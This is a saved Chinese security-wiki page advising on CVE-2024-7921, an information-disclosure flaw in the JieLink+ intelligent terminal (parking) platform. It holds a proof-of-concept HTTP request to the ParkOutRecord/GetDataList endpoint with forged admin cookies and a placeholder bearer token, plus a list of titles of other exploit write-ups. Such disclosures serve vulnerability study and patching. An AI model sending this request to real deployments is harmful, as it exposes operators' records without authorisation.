Penetration_Testing_POC/books/【原创】（CVE-2024-7921）安徽德顺智能科技有限公司 JIELINK_ INTELLIGENT TERMINAL OPERATION PLATROFM 信息泄露漏洞 _ 安全团队贡献平台.html

<!DOCTYPE html> <html class="js cssanimations"><!--
 Page saved with SingleFile 
 url: https://wiki.shikangsi.com/post/share/7d5eb025-1c30-44b4-b609-61938f6d6c05 
--><meta charset=utf-8>
<meta http-equiv=X-UA-Compatible content="IE=edge">
<meta name=description content=一个团队使用的贡献平台>
<meta name=keywords content=安全,团队,贡献>
<meta name=viewport content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>【原创】（CVE-2024-7921）安徽德顺智能科技有限公司 JIELINK+ INTELLIGENT TERMINAL OPERATION PLATROFM 信息泄露漏洞 | 安全团队贡献平台</title>
<meta name=renderer content=webkit>
<meta http-equiv=Cache-Control content=no-siteapp>
<meta name=mobile-web-app-capable content=yes>
<meta name=apple-mobile-web-app-capable content=yes>
<meta name=apple-mobile-web-app-status-bar-style content=black>
<meta name=apple-mobile-web-app-title content=安全团队贡献平台>
<style>/*! normalize.css v8.0.0 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}hr{overflow:visible}img{border-style:none}button{font-family:inherit}[type=button]{-webkit-appearance:button}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}</style>
<style>/*! Amaze UI v2.7.2 | by Amaze UI Team | (c) 2016 AllMobilize, Inc. | Licensed under MIT | 2016-08-17T16:17:24+0800 */*,:after,:before{-webkit-box-sizing:border-box;box-sizing:border-box}body,html{min-height:100%}html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article{display:block}a{background-color:transparent}a:focus{outline:thin dotted}a:active,a:hover{outline:0}a{text-decoration:none}strong{font-weight:700}pre{white-space:pre-wrap}img{-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;border:0}button{font:inherit;margin:0}button{overflow:visible}button{text-transform:none}button{-webkit-appearance:button}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{position:relative;background:#fff;font-family:"Segoe UI","Lucida Grande",Helvetica,Arial,"Microsoft YaHei",FreeSans,Arimo,"Droid Sans","wenquanyi micro hei","Hiragino Sans GB","Hiragino Sans GB W3",FontAwesome,sans-serif;font-weight:400;line-height:1.6;color:#333;font-size:1.6rem}body,button{text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;-moz-font-feature-settings:"liga","kern"}@media only screen and (max-width:640px){body{word-wrap:break-word;-webkit-hyphens:auto;-ms-hyphens:auto;-moz-hyphens:auto;hyphens:auto}}a:focus,a:hover{color:#095f8a}a:focus{outline:thin dotted;outline:1px auto -webkit-focus-ring-color;outline-offset:-2px}hr,p{margin:0 0 1.6rem 0}*+hr,*+p,*+pre{margin-top:1.6rem}h1,h2,h3{margin:0 0 1.6rem 0;font-weight:600;font-size:100%}h2{font-size:1.25em}*+h2,*+h3{margin-top:2em}hr{display:block;padding:0;border:0;height:0;border-top:1px solid #eee;-webkit-box-sizing:content-box;box-sizing:content-box}.am-container{-webkit-box-sizing:border-box;box-sizing:border-box;margin-left:auto;margin-right:auto;padding-left:1rem;padding-right:1rem;width:100%}.am-container:after,.am-container:before{content:" ";display:table}.am-container:after{clear:both}@media only screen and (min-width:641px){.am-container{padding-left:1.5rem;padding-right:1.5rem}}.am-container>.am-g{width:auto;margin-left:-1rem;margin-right:-1rem}@media only screen and (min-width:641px){.am-container>.am-g{margin-left:-1.5rem;margin-right:-1.5rem}}.am-g{margin:0 auto}.am-g:after,.am-g:before{content:" ";display:table}.am-g:after{clear:both}@media only screen and (min-width:641px){}[class*=am-u-]{width:100%;padding-left:1rem;padding-right:1rem;float:left;position:relative}@media only screen and (min-width:641px){[class*=am-u-]{padding-left:1.5rem;padding-right:1.5rem}}@media only screen{.am-u-sm-11{width:91.66666667%}[class*=am-u-].am-u-sm-centered{margin-left:auto;margin-right:auto;float:none}[class*=am-u-].am-u-sm-centered:last-child{float:none}}@media only screen and (min-width:641px){}@media only screen and (min-width:1025px){}@media only screen{}@media only screen and (min-width:641px){}@media only screen and (min-width:1025px){}code,pre{font-family:Monaco,Menlo,Consolas,"Courier New",FontAwesome,monospace}pre{display:block;padding:1rem;margin:1rem 0;font-size:1.3rem;line-height:1.6;word-break:break-all;word-wrap:break-word;color:#555;background-color:#f8f8f8;border:1px solid #dedede;border-radius:0}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.am-btn{display:inline-block;margin-bottom:0;padding:.5em 1em;vertical-align:middle;font-size:1.6rem;font-weight:400;line-height:1.2;text-align:center;white-space:nowrap;background-image:none;border:1px solid transparent;border-radius:0;cursor:pointer;outline:0;-webkit-appearance:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-transition:background-color .3s ease-out,border-color .3s ease-out;transition:background-color .3s ease-out,border-color .3s ease-out}.am-btn:active:focus,.am-btn:focus{outline:thin dotted;outline:1px auto -webkit-focus-ring-color;outline-offset:-2px}.am-btn:focus,.am-btn:hover{color:#444;text-decoration:none}.am-btn.am-active,.am-btn:active{background-image:none;-webkit-box-shadow:i
<style>body,html{height:100%}@media print{a{text-decoration:none}}@media screen and (min-width:960px){}@media screen and (max-width:959px){}.am-container{max-width:1300px}</style>
<style>.codehilite{background:#f8f8f8}</style>
<style>@media (pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
 * Waves v0.7.5
 * http://fian.my.id/Waves
 * 
 * Copyright 2014-2016 Alfiana E. Sibuea and other contributors
 * Released under the MIT license
 * https://github.com/fians/Waves/blob/master/LICENSE
 */</style><style>@media (max-height:620px){}@media (max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media (pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:tra
<body>
<header class="am-topbar am-g am-g-collapse" style=display:none!important>
</header>
<div class=am-container>
<div class=am-g>
 <div class="am-u-sm-centered am-u-sm-11">
 <article class=am-article>
 <div class=am-article-hd>
 <h1 class=am-article-title>【原创】（CVE-2024-7921）安徽德顺智能科技有限公司 JIELINK+ INTELLIGENT TERMINAL OPERATION PLATROFM 信息泄露漏洞</h1>
 <hr>
 <button type=button class="am-btn am-btn-primary btn-copy" data-am-popover="{content: '已复制'}">分享</button>
 <h3>当前为私密分享，无需登录即可查看。</h3>
 <hr>
 </div>
 <table class="am-table am-table-bordered">
 <tbody><tr>
 <th>时间</th>
 <th class="am-text-center am-hide-sm-down">作者</th>
 <th width=8% class="am-text-center am-hide-sm-down">可见性</th>
 <th width=8% class="am-text-center am-hide-sm-down">等级</th>
 <th class="am-text-center am-hide-sm-down">Rank</th>
 </tr>
 <tr>
 <tr>
 <td>2024-08-05 23:02:13</td>
 <td class="am-text-center am-hide-sm-down"><a href=https://wiki.shikangsi.com/profile/1257/ class=am-link-muted>sanbao</a></td>
 <td class="am-text-center am-hide-sm-down"><span class="am-badge am-badge-success">公开的</span></td>
 <td class="am-text-center am-hide-sm-down"><span class="am-badge am-badge-primary">中危</span></td>
 <td class="am-text-center am-hide-sm-down">3</td>
 </tr>
 </table>
 <div class=am-article-bd>
 <p>CVE-2024-7921<br>Created: 08/18/2024 09:19 PM<br>Changes: 08/18/2024 09:19 PM (54)<br>Submitter: sanbao@wiki</p>
 <hr>
 <h2><strong>0x01 产品简介</strong></h2>
<hr>
<p>捷顺JieLink+智能终端操作平台(JSOTC2016 fJeLink+)是捷顺历经多年行业经验积累，集智能硬件技术视频分析技术、互联网技术等多种技术融合，基于B/S架构，实现核心业务处理模型(用户中心、投权中心财务中心中心值班室、 运维中心车行客户端等)的搭建;基于C/S架构实现岗亭收费、收费、自助服务，满足车场收费车辆特征分析处理、当班管理、业务托管、信息上报等现场业务处理。</p>
<h2><strong>0x02 漏洞概述</strong></h2>
<hr>
<p>JieLink+智能终端操作平台ParkOutRecord接口处存在敏感信息泄露漏洞<strong>，</strong>恶意攻击者可能会利用此漏洞修改数据库中的数据，例如添加、删除或修改记录，导致数据损坏或丢失</p>
<h2><strong>0x02 POC</strong></h2>
<pre class=codehilite><code>GET /report/ParkOutRecord/GetDataList HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Authorization: Bearer test
Cookie: JSESSIONID=test;UUID=1; userid=admin
X-Requested-With: XMLHttpRequest
Content-Length: 2
Origin:
Connection: close
Referer:
Sec-GPC: 1
Priority: u=1
</code></pre>
<p><img alt=null src="data:image/png;base64,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
 </div>
 
 </article>
 
 
 </div>
</div>
</div>
<div id=immersive-translate-popup style=color-scheme:initial;forced-color-adjust:initial;mask:initial;math-depth:initial;position:initial;position-anchor:initial;text-size-adjust:initial;appearance:initial;color:initial;font:initial;font-palette:initial;font-synthesis:initial;inset-area:initial;text-orientation:initial;text-rendering:initial;text-spacing-trim:initial;-webkit-font-smoothing:initial;-webkit-locale:initial;-webkit-text-orientation:initial;-webkit-writing-mode:initial;writing-mode:initial;zoom:initial;accent-color:initial;place-content:initial;place-items:initial;place-self:initial;alignment-baseline:initial;anchor-name:initial;animation-composition:initial;animation:initial;app-region:initial;aspect-ratio:initial;backdrop-filter:initial;backface-visibility:initial;background:initial;background-blend-mode:initial;baseline-shift:initial;baseline-source:initial;block-size:initial;border-block:initial;border:initial;border-radius:initial;border-collapse:initial;border-end-end-radius:initial;border-end-start-radius:initial;border-inline:initial;border-start-end-radius:initial;border-start-start-radius:initial;inset:initial;box-shadow:initial;box-sizing:initial;break-after:initial;break-before:initial;break-inside:initial;buffered-rendering:initial;caption-side:initial;caret-color:initial;clear:initial;clip:initial;clip-path:initial;clip-rule:initial;color-interpolation:initial;color-interpolation-filters:initial;color-rendering:initial;columns:initial;column-fill:initial;gap:initial;column-rule:initial;column-span:initial;contain:initial;contain-intrinsic-block-size:initial;contain-intrinsic-size:initial;contain-intrinsic-inline-size:initial;container:initial;content:initial;content-visibility:initial;counter-increment:initial;counter-reset:initial;counter-set:initial;cursor:initial;cx:initial;cy:initial;d:initial;display:none!important;dominant-baseline:initial;empty-cells:initial;field-sizing:initial;fill:initial;fill-opacity:initial;fill-rule:initial;filter:initial;flex:initial;flex-flow:initial;float:initial;flood-color:initial;flood-opacity:initial;grid:initial;grid-area:initial;height:initial;hyphenate-character:initial;hyphenate-limit-chars:initial;hyphens:initial;image-orientation:initial;image-rendering:initial;initial-letter:initial;inline-size:initial;inset-block:initial;inset-inline:initial;isolation:initial;letter-spacing:initial;lighting-color:initial;line-break:initial;list-style:initial;margin-block:initial;margin:initial;margin-inline:initial;marker:initial;mask-type:initial;math-shift:initial;math-style:initial;max-block-size:initial;max-height:initial;max-inline-size:initial;max-width:initial;min-block-size:initial;min-height:initial;min-inline-size:initial;min-width:initial;mix-blend-mode:initial;object-fit:initial;object-position:initial;object-view-box:initial;offset:initial;opacity:initial;order:initial;orphans:initial;outline:initial;outline-offset:initial;overflow-anchor:initial;overflow-clip-margin:initial;overflow-wrap:initial;overflow:initial;overlay:initial;overscroll-behavior-block:initial;overscroll-behavior-inline:initial;overscroll-behavior:initial;padding-block:initial;padding:initial;padding-inline:initial;page:initial;page-orientation:initial;paint-order:initial;perspective:initial;perspective-origin:initial;pointer-events:initial;position-try:initial;position-visibility:initial;quotes:initial;r:initial;resize:initial;rotate:initial;ruby-align:initial;ruby-position:initial;rx:initial;ry:initial;scale:initial;scroll-behavior:initial;scroll-margin-block:initial;scroll-margin:initial;scroll-margin-inline:initial;scroll-padding-block:initial;scroll-padding:initial;scroll-padding-inline:initial;scroll-snap-align:initial;scroll-snap-stop:initial;scroll-snap-type:initial;scroll-timeline:initial;scrollbar-color:initial;scrollbar-gutter:initial;scrollbar-width:initial;shape-image-threshold:initial;shape-margin:initial;shape-outside:initial;shape-rendering:initial;size:initial;speak:initial;stop-color:initial;stop-opacity:initial;stroke:initial;stroke-dasharray:initial;stroke-dashoffse
 * Pico.css v1.5.6 (https://picocss.com)
 * Copyright 2019-2022 - Licensed under MIT
 */#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:0.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:0.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:0.5rem;--nav-link-spacing-vertical:0.5rem;--nav-link-spacing-horizontal:0.5rem;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media (min-width:576px){#mount{--font-size:17px}}@media (min-width:768px){#mount{--font-size:18px}}@media (min-width:992px){#mount{--font-size:19px}}@media (min-width:1200px){#mount{--font-size:20px}}@media (min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media (min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media (min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media (min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media (min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:0.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:0.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"}kbd{--font-weight:bolder}[data-theme="light"],#mount:not([data-theme="dark"]){--background-color:#fff;--background-light-green:#F5F7F9;--color:hsl(205deg,20%,32%);--h1-color:hsl(205deg,30%,15%);--h2-color:#24333e;--h3-color:hsl(205deg,25%,23%);--h4-color:#374956;--h5-color:hsl(205deg,20%,32%);--h6-color:#4d606d;--muted-color:hsl(205deg,10%,50%);--muted-border-color:hsl(205deg,20%,94%);--primary:hsl(195deg,85%,41%);--primary-hover:hsl(195deg,90%,32%);--primary-focus:rgba(16,149,193,0.125);--primary-inverse:#fff;--secondary:hsl(205deg,15%,41%);--secondary-hover:hsl(205deg,20%,32%);--secondary-focus:rgba(89,107,120,0.125);--secondary-inverse:#fff;--contrast:hsl(205deg,30%,15%);--contrast-hover:#000;--contrast-focus:rgba(89,107,120,0.125);--contrast-inverse:#fff;--mark-background-color:#fff2ca;--mark-color:#543a26;--ins-color:#388e3c;--del-color:#c62828;--blockquote-border-color:var(--muted-border-color);--blockquote-footer-color:var(--muted-c
-												add 漏洞复现+代码审计+IOT相关文章合计61篇

(Nday)泛微E-office 10 OfficeServer.php 下载_上传漏洞分析
2024 RWCTF群晖 BC500摄像头RCE--未授权_栈溢出
CVE-2024-30188 Apache DolphinScheduler 任意文件读写漏洞分析
CVE-2024-36412 SuiteCRM未授权sql注入分析
CVE-2024-38856 Apache OFBiz Authentication Bypass
CVE-2024-43044 Jenkins Remoting远程代码执行漏洞分析
Dedecms后台RCE的一些方法 – fushulingのblog
Exchange邮服渗透技巧
H3C-iMC智能管理中心autoDeploy.
JAVA安全之Velocity模板注入刨析
Laravel 11.x 反序列化链分析
Nacos 0day（derby_源码）分析 _ 不出网利用
Nacos <=2.4.0.1 任意文件读写删
Spring Cloud Data Flow 漏洞分析（CVE-2024-22263_CVE-2024-37084）
Unnamed page.NET恶意软件Dark Crystal RAT的详细样本分析
Zimbra 邮服渗透技巧
Zimbra邮服渗透技巧
java中js命令执行与绕过 - unam4
java中js命令执行的攻与防
wookteam协作平台searchinfo接口SQL注入漏洞分析
【原创】Xinhu RockOA v2.6.2 SQL注入漏洞 _ 安全团队贡献平台
【原创】（CVE-2024-7919）安徽德顺智能科技有限公司 JIELINK_ INTELLIGENT TERMINAL OPERATION PLATROFM 未授权访问漏洞 _ 安全团队贡献平台
【原创】（CVE-2024-7920）安徽德顺智能科技有限公司 JIELINK_ INTELLIGENT TERMINAL OPERATION PLATROFM 信息泄露漏洞 _ 安全团队贡献平台
